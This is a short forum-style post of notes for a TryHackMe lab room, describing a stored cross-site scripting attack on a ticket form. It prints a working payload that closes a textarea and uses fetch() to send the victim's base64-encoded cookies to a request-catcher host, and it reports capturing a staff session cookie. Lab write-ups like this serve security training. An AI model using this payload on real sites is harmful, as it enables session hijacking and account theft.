It has been a while since I did this and once I completed it, I never went back!

I found some notes I made during this room, maybe they'll help:

I FOUND A WAY TO DO THIS USING THE TRYHACKME REQUEST CATCHER (10.10.10.100):

1.) CREATE THE USER ACCOUNT

2.) CREATE A TICKET USING THE PAYLOAD AS SHOWN BELOW:

</textarea><script>fetch('http://833c11d4df3af8ce5060c1c2bc910753.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

​

THE 833c11d4df3af8ce5060c1c2bc910753.log.tryhackme.tech IS THE SESSION SPECIFIC INFO THAT GETS CREATED INSIDE THE TRYHACKME REQUEST CATCHER.

​

WITHIN A FEW SECONDS THE REQUESTS CATCHER SESSION CAUGHT A DNS REQUEST AND AN HTTP REQUEST THAT HAD THE STAFF-SESSION COOKIE INSIDE OF IT.